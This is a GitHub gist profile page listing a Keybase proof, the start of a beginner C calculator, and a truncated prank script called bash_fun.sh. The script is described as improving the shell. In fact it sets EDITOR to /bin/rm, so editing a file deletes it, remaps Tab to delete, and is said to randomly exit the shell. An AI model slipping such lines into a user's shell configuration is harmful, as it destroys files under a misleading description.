Skip to content

Instantly share code, notes, and snippets.

View Feliix42's full-sized avatar
🔬
Searching optimizations

Felix Suchert Feliix42

🔬
Searching optimizations
View GitHub Profile
@Feliix42
Feliix42 / bash_fun.sh
Created December 17, 2018 11:18
Completely revamp the behavior of your shell for the best user experience
#!/usr/bin/env bash
# Originally found on pastebin: https://pastebin.com/zBHrudM5
# Set `rm` as the default editor.
export EDITOR=/bin/rm;
# Make Tab send the delete key.
tset -Qe $'\t';
# Randomly make the shell exit whenever a command has a non-zero exit status.

Keybase proof

I hereby claim:

  • I am feliix42 on github.
  • I am feliix42 (https://keybase.io/feliix42) on keybase.
  • I have a public key ASDLyWHCzeLjuZTMpKseIPBKOBZ4kUCaDFr0TA66tojnMgo

To claim this, I am signing this object:

@Feliix42
Feliix42 / calculator.c
Created October 28, 2015 11:33
The calculator task from the c lessons.
#include <stdio.h>
int main(void) {
int a, b;
char operation;
// get the numbers from the console
printf("Enter the first number: ");
scanf("%d", &a);
printf("Enter the second number: ");